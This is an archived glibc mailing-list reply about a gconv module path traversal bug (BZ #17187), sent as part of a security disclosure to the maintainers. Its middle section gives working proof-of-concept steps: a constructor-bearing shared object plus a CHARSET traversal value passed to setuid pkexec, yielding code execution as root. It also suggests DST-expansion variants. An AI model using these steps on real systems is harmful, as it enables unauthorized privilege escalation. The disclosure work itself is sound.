This is the mail archive of the libc-alpha@sourceware.org mailing list for the glibc project.


Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]
Other format: [Raw text]

Re: [PATCH] __gconv_translit_find: Actually append ".so" to module name [BZ #17187]


On Tue, Jul 29, 2014 at 12:05 PM, Florian Weimer <fweimer@redhat.com> wrote:
>
>
> Ah, but only on 32-bit architectures, and not with 64-bit architectures
> (without writing a couple of NULs), right?
>
> I totally I agree that this can be exploitable on 32-bit architectures.  I
> don't know why I disregarded them. *sigh*
>
> I'll ask for a CVE assignment on the oss-security list, and we should treat
> this as a security vulnerability.  Thanks for reporting this, Tavis.

No problem.

> I need to figure out all this, but I think these gconv modules are available
> by other means, so fixing this shouldn't open up totally new exploit
> vectors.

Do you have an example? I looked into it and couldn't find a way of
doing it. But I did spot a few additional bugs while I was looking.

The code doesn't work to prevent traversal if slash_count goes too
high, for example CHARSET=////../../../../../foo

However, the path is passed through upstr() in gconv_charset.h.
upstr() hardcodes the locale, so it doesn't seem possible to get
lowercase alpha characters through to dlopen().

Nonetheless, this is still a *very* serious bug, if there is a
directory that doesn't contain lowercase characters but is writable by
an attacker, then this is a trivial root shell. To verify this, follow
these steps:

1. Temporarily create a symlink to /tmp to simulate a directory
without lowercase characters (numeric, uppercase, whitespace or
special characters are fine).

# ln -s /tmp /TMP

2. As an unprivileged user create a DSO with no lowercase characters
in this directory.

$ cat > test.c
void __attribute__((constructor)) init(void)
{
  printf("hello euid=%d\n", geteuid());
}
$ gcc -w -fPIC -shared -o TEST test.c

3. Execute root as euid=0:
$ CHARSET=///../../../../../tmp/test pkexec --version
hello euid=0


Additionally, this path is parsed through expand_dst_tokens _after_
the upstr() call, so you can still insert DSTs (i.e. $PLATFORM, and so
on). This gives the attacker some additional leeway, you can try
CHARSET=////../../../${LIB}/${LIB}GL for example, which should expand
to something like "/lib/libGL". $ORIGIN behaviour varies
system-to-system. On Debian, it's just left as-is, but redhat modify
the behaviour (see
http://pkgs.fedoraproject.org/cgit/glibc.git/tree/glibc-fedora-elf-ORIGIN.patch).

This results in some oddness that may make it exploitable without any
path requirements, but I haven't thought through all the consequences
yet (personally, I would drop that patch). I suspect this patch makes
this exploitable by making it possible to open a DSO in a relative
directory, but I need to think through the consequences a bit more.

Additionally, the DST expansion looks like it's vulnerable to an
integer overflow on 32-bit, perhaps not exploitable on Fedora where
$PLATFORM and $LIB don't expand to very big strings, but on Debian
$LIB is "x86_64-linux-gnu" which is a 4x increase. Obviously that
wouldn't matter very much if you can't get a DST expanded by a setuid
boundary, but there are at least a few where you can via gconv (sudo,
pkexec, etc).

> And the missing file extension doesn't matter for the dlopen call,
> eitherâyou still lose with the current code if the directory is
> attacker-controlled for some reason.

True, but isn't this why GCONV_PATH is in unsecvars? I.e. it's never
supposed to be attacker controlled.

Tavis.


Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]